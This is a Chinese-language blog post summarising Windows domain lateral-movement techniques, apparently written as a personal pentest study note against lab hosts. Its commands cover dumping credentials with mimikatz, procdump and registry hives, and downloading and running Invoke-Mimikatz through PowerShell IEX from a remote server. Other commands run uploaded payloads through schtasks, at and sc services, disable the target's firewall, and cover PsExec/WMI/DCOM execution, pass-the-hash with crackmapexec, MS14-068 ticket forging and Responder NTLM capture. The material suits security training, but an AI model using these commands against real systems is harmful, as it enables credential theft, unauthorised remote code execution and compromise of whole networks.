内网横向基础总结

内网横向基础总结

获取域内单机密码和Hash

在windows 2000以后 windows都采用NTLM对用户的密码进行加密 通常保存在%SystemRoot%\System32\config\SAM文件中(如果是域环境中通常保存在NTDS.dit文件中),除了NTLM还有LM加密方式,SAM和NTDS.dit里面存放的内容如下:

1
username : RID : LM Hash : NTLM Hash

在windows 2000以后 LM hash它的值通常是aad3b435b51404eeaad3b435b51404ee(空密码)

NTLM也分为NTLM1和NTLM2 NTLM2采用的是HMAC-MD5 而1采用的是MD4。

实际利用:

1
2
1.如果密码是弱口令的话,用相应的爆破工具进行爆破
2.利用PTH(哈希传递攻击)进行内网横向

Mimikatz抓取密码

通过从lsass.exe进程中读取当前登录系统用户的密码,需要管理员权限。

当系统安装了kb2871997补丁或者系统版本大于win10和win2012时,默认禁止在内存中保存明文密码,这时候可以通过修改注册表的方式来进行绕过(打开Wdigest)。

1
2
privilege::debug //提升至debug权限
sekurlsa::logonpasswords //抓取密码

image-20250321212500091

Procdump

这是微软官方发布的工具(不易被检测到,杀软不会进行拦截),能够将目标lsass文件导出,然后再次利用mimikatz导出里面的hash.

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

1
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

image-20250321214217246

然是使用mimikatz进行导出里面的hash(这里不需要管理员权限运行mimikatz)

1
2
sekurlsa::minidump 目录\lsass.dmp       // 将导出的lsass.dmp载入到mimikatz中
sekurlsa::logonpasswords full // 获取密码

image-20250321214605200

利用sam和system文件

1
2
reg save hklm\sam sam.hive
reg save hklm\system system.hive

通过管理员权限获取sam和system文件,然后通过mimikatz获取账户的哈希值。

image-20250321223856072

1
lsadump::sam /sam:sam.hive /system:system.hive

image-20250321224114556

powershell脚本

使用powershell加载mimikatz模块来获取密码。

1
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.29.157:8081/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

windows密码哈希的破解方法:

ophcrack工具

ophcrack下载地址:https://ophcrack.sourceforge.io/

ophcrack提供的彩虹表下载地址:https://ophcrack.sourceforge.io/tables.php

hashcat

常用的:

  • -m 1000:NTLM
  • -m 5600:Net-NTLMv2
  • -m 5500:NetNTLMv1 / NetNTLMv1+ESS
  • -m 0:MD5
  • -m 2500:WPA/PSK

高权限下 在注册表中打开wdigest

1
2
3
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f           // 开启Wdigest Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f // 关闭Wdigest Auth

利用windows远程连接命令

当我们拿到明文密码或者hash值时,我们可以通过windows自带的远程连接命令如IPC连接到目标的主机上,或者通过hash打一个PTH横向。

建立IPC连接

为了让进程之间通信而建立的命名管道,通过提供用户名和密码可以和目标主机建立连接,通过这个加密通道能够进行文件上传,访问特定目录下的文件信息,下载文件等操作。

1
2
3
net use \\<目标主机的ip地址>\ipc$ "password" /user:"username"
net use \\192.168.29.188\ipc$ "" /user:"Administrator"
net use //查看连接的情况

image-20250322142504829

1
2
dir \\192.168.29.188\c$  //查看c盘目录下的文件信息
dir \\192.168.29.188\c$\"Program Files" //查看c盘下的Program Files目录下的信息

image-20250322143447376

除了上面的 我们还可以上传一个文件到目标主机上 然后可以配置写一个计划任务触发那个exe文件。

1
copy 指定路径的文件 \\目标主机ip\c$ //将文件上传到目标主机的C盘下

image-20250322144603299

通过tasklist列出目标主机运行的进程。

1
tasklist /S 192.168.29.188 /U Administrator /P 

image-20250322144940066

开启IPC的前提条件:

1
2
1.目标主机的139445端口开启
2.目标主机管理员开启了ipc$默认共享

删除ipc连接的命令如下:

1
net use \\192.168.29.188 /del /y

image-20250322145549828

利用计划任务进行横向

这里有at和schtasks两种命令,at的话再windows7之前(包括win7)使用,往后就不适用了,而schtasks都适用。

利用at创建计划任务

攻击思路如下:

1
2
3
4
1.首先和目标主机建立起一个通道连接 比如IPC连接
2.通过net time \\192.168.29.188 //查看目标主机的时间信息
3.将生成的exe文件上传到目标主机上,通过设置定时任务来触发这个exe文件
4.最后需要将这个定时任务给删除掉

image-20250322154429133

image-20250322154502710

下面就是通过at增加一条执行shell.exe的命令:

1
at \\192.168.29.188 15:48:00 c:\shell.exe

image-20250322155001215

image-20250322155302703

最后删除对应的计划任务:

1
at \\192.168.29.188 1 /delete

image-20250322155553377

还可以通过直接执行命令,然后由于是无回显的,将输出结果输出到目标系统的特定目录下。

1
at \\192.168.29.188 具体时间 cmd.exe /c "ipconfig > xxxxx\result.txt"

利用schtasks创建计划任务

schtasks比起at更加的复杂,能够设定再一定的周期内运行,通常情况下是先创建一个计划任务,然后这个计划任务交由ask Scheduler 调用。

思路的话跟上面at的思路是一样的,只不过再计划任务创建这里会更加的复杂。

1
2
3
4
5
schtasks /create /s 192.168.29.188 /tn test /u Administrator /p "" /sc minute /mo 1 /tr c:\shell.exe /ru system /f

//这段命令的意思是创建一个名为test的计划任务,/sc minute /mo 1 是没一分钟执行一次 如果/mo 2 则是没两分钟执行一次 执行的内容是c盘下的shell.exe文件 并且是以system权限来运行的

schtasks /delete /s 192.168.29.188 /tn "test" /f //删除计划任务

同样的 schtasks除了计划任务执行木马文件,还能进行系统执行,将结果输出到特定的文件目录下。

1
schtasks /create /s 192.168.29.188 /tn test1 /sc minute /mo 1 /tr "C:\Windows\System32\cmd.exe /c 'whoami > C:\xxxxxxx\result.txt'" /ru system /f

使用shctasks会留下日志,存放再C:\Windows\Tasks\SchedLgU.txt文件中(老系统Windows XP / Windows Server 2003 及更早版本是这样的),但是新的系统(Windows Vista 及更新版本)不再使用,计划任务的日志转移到了Event Viewer(事件查看器)。

创建Windows服务来进行横向

需要的前提条件:

1
2
1.由于需要创建服务,因此需要是管理员的权限
2.需要和目标主机建立ipc连接

利用sc进行内网横向,它的思路跟创建计划任务的思路差不多,只不过这个是通过sc创建一个恶意的服务,然后我们通过重启这个恶意的服务来运行我们的exe文件。

利用手法如下:

1
2
3
4
1.让跳板机和内网ip进行一个ipc的连接
2.将msf生成的exe文件通过ipc上传到目标主机上
3.通过创建一个服务 指定一下上传的exe文件的路径信息
4.重启我们创建的服务信息

前面连接ipc的就不演示了,这里直接演示通过sc创建一个服务。

1
2
3
4
sc \\[主机名或者ip] create [服务的名字] binpath= "[路径信息]"
sc \\192.168.29.188 create hack binpath= "c:\shell.exe"
sc \\192.168.29.188 start hack

image-20250322180046291

image-20250322180359969

删除创建的服务:

1
sc \\192.168.29.188 delete hack

同时我们还可以通过创建一个服务,来讲防火墙给关闭掉:

1
2
3
sc \\192.168.29.188 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\192.168.29.188 start unablefirewall

利用PsExec进行横向渗透

什么是psexec:

psexec是windows下的一个远程命令工具(远程运行进程),是windows提供的工具,加在白名单中(不会被杀毒软件查杀),不需要对方开启3389端口,需要目标开启admin$共享,一般情况下是开启的,如果对方开启防火墙的话一般是用不了的(445端口被防火墙给拦了)。

psexec的原理:

跟上面的sc横向思路差不多,首先和目标主机建立ipc连接,然后向目标主机释放psexecsvc.exe文件,通过sc再目标主机上创建psexec服务并启动,然后再客户端这边执行命令,服务端通过相应的服务回显执行的命令结果,最后再删除相应的服务。

psexec的使用前提:

1
2
3
4
1.admin$共享开启
2.防火墙未开启
3.如果是本地组的环境 需要是管理员组用户,因为需要在目标主机上创建服务
4.如果是域用户,普通域机器普通域成员就能登录,连接域控只能是域管理员。

关于PSexec的下载地址如下:

https://download.sysinternals.com/files/PSTools.zip

1
2
3
4
5
psexec.exe -accepteula \\192.168.29.188 -u Administrator -p "" -s cmd.exe  //accepteula 第一次使用psexec时,会有一个确认框,这个是不弹出确认框  -s是以system权限进行运行

psexec.exe -accepteula \\192.168.29.188 -u Administrator -p "" <Command>

psexec.exe \\192.168.29.188 cmd.exe /c "ipconfig" //这个相当于是在目标主机上打开了cmd 然后运行ipconfig

除了这个exec msf中也有很多可以利用的模块,这里就不演示了。

利用WMI进行横向

WMI全称:Windows Management Instrumentation 是windows的一个管理工具,自windows98以来,都支持此工具,通过135端口(RPC->远程过程调用协议),简单来说就是我们发送一个指令到目标服务器上,然后目标服务器进行一个执行,wmi比起psexec更加的隐蔽,不会记录日志信息,同时也不会将攻击脚本添加到磁盘中。wmic默认使用135端口,wmicexec使用445端口。

这里我的理解是:

建立ipc相当于是走正门,需要进行登记,然后再去找相关人员办理业务,而wmi是直接通过rpc(客服人员),向后面进行一个通知,然后进行办理业务,不需要进行登记,相当于是走的后门。

远程桌面连接:

1
wmic /node:192.168.29.188 /USER:Administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

image-20250324185532243

表示打开成功。

image-20250324185603400

查看远程进程信息:

1
wmic /node:192.168.29.188 /user:Administrator /password:xxxx process list brief

image-20250324190009095

远程创建进程:

1
wmic /node:192.168.29.188 /user:Administrator /password:xxxx process call create "cmd.exe /c whoami > C:\result.txt"

这个是没回显的,一般需要利用ipc连接,然后type看一下。

下面是几个工具:

Impacket中的wmiexec.py

1
2
3
python3 wmiexec.py  administrator@192.168.29.188
python3 wmiexec.py -hashes xxxxxxxx username@ip

image-20250324193751970

使用powershell执行命令

1
2
3
4
5
6
IEX(New-Object Net.Webclient).DownloadString('http://192.168.29.157/powersploit/CodeExecution/Invoke-WmiCommand.ps1')     // 下载脚本并导入系统
$User = "域名\用户名" // 指定目标系统用户名
$Password = ConvertTo-SecureString -String "文明密码" -AsPlainText -Force // 指定目标系统的密码
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入credential
$Remote = Invoke-WmiCommand -Payload {要执行的命令} -Credential $Cred -ComputerName 目标IP
$Remote.PayloadOutput // 将执行结果输出到屏幕上

都是再powershell环境下运行。

使用DCOM进行横向

COM是微软为了使不同程序之间能够进行调用,从而规定的一个二进制调用标准,通过实例化一个COM组件,找到对应的接口,然后再次调用接口里面的功能函数,从而达到不同功能的实现,而DCOM(分布式组件调用),能够调用外部网络的COM组件,通过RPC进行通信。

使用DCOM进行横向的前提条件:

1
2
3
1.可能需要关闭对方的防火墙
2.本机具有管理员的powershell
3.操作对方主机时,需要对方的管理员账户(本机管理员或者域管理员)

获取本地DCOM程序列表:

1
2
3
4
再powershell的环境下运行
powershell 3.0 windows server 2012及以上: Get-CimInstance Win32_DCOMApplication
powershell 2.0 windows7 windows server 2008: Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

其他能进行命令执行的DCOM:

1.MMC20.Application

2.ShellWindows

3.Excel.Application

4.ShellBrowserWindow

5.Visio.Application

6.Outlook.Application

具体的使用参考:https://www.freebuf.com/articles/network/261454.html

PTH横向

通常是在只抓取到了密文的情况下的利用。

在内网环境中,多台计算机进行安装时,通常使用脚本进行统一安装,导致不同机器的本地管理员的账户密码都一致,这样就造成了一个风险,当我们拿到一台机器时,通过抓取密码,可以尝试进行密码的复用。

下面是在mimikatz Wmiexec crackmapexec下的利用:

Mimikatz

1
2
privilege::debug
sekurlsa::logonpasswords

image-20250326121029844

利用mimikatz将其加到lsass内存中

1
2
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0

image-20250326122337250

Wmiexec

1
2
00000000000000000000000000000000:31d6cfe0d16ae931b73c59d7e0c089c0
python3 wmiexec.py -hashes 00000000000000000000000000000000:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.29.188

image-20250326130822144

前面的32个0代表的是空密码的LM Hash的值。

crackmapexec

利用这个对C段主机进行批量的PTH攻击。

1
2
crackmapexec smb ip -u username -H ntlm-hash   //扫描c段的ip 哪台机器能进行密码复用
crackmapexec smb 192.168.29.188 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -d fsrm.com -x whoami

image-20250326132247052

票据传递攻击(PTT)

主要利用的还是ms14-068 在了解这个之前我们还需要重点去理解kerberos协议 这个在域中具有重要的作用,不仅仅是后面的黄金票据,白银票据,还有一些委派攻击也需要理解kerberos协议。

这里就不讲解kerberos协议了,先讲讲它的用法,后面会再分析一下。

MS14-068主要还是伪造的PAC,当AS_REQ发送完由Client hash加密的时间戳时,KDC会进行一个检查,如果检查结果合格,就向Client发送一个TGT,TGT里面包含着PAC,PAC不是kerberos自带的,而是微软后续加上的,主要是检查Client是否有相应的权限访问服务。在第一个AS_REQ阶段,攻击者可以对PAC进行一个伪造,然后发送到KDC中,KDC没有对内容进行验证,直接使用kertgt的hash对它进行签名,然后封装在TGT中,从而能进行一个未授权的访问任意服务。

至于为什么KDC不会覆盖掉用户的PAC,那是因为微软再设计的时候的一个缺陷。

1
ms14-068.exe -u 域用户名@域名 -s 域用户的SID号 -d 域控ip -p 域用户密码

image-20250402184609907

此时会生成一个ccache文件。

先清空票据,然后导入里面。

1
2
3
mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

image-20250402185025973

image-20250402185506342

注入票据之后,我们可以通过psexec或者wmi来获取权限,或者是直接通过sc创建一个服务,然后上传一个恶意的exe文件,然后运行服务即可。

注意这里的话\\后面只有跟主机名才能生效。

Net-NTLM-Relay攻击

ntlm中间人攻击,当用户的密码不好爆破时,可以试试这个中间人攻击。

1.利用LLMNR&NetBIOS

这个主要是利用了windows系统名称的解析顺序:

1
2
3
1.hosts文件里面先进行解析
2.域名服务器进行解析
3.链路本地多播域名解析(LLMNR)和Net-BIOS

当我们输入一个1和2都解析不到的域名时,这时它会进行一个广播,广泛的进行询问,你是不是我要访问的域名,攻击者可以伪造成客户端要请求的域名,欺骗客户端,骗出它的net-NTLM哈希的值。

利用的经典工具:Responder

1
responder -I eth0 -F

image-20250402190933185

2.利用WPAD

WPAD是一种网络代理自动发现协议,攻击者可以伪造成代理服务器,让客服端通过WPAD下载PAC文件(代理配置文件),这时攻击者会要求客户端进行一个验证,然后攻击者就会收到Net-NTLM哈希。

参考文章:https://www.freebuf.com/articles/245697.html

https://www.freebuf.com/articles/network/251364.html


内网横向基础总结
http://example.com/2025/02/20/内网横向总结/
作者
FSRM
发布于
2025年2月20日
更新于
2025年4月2日
许可协议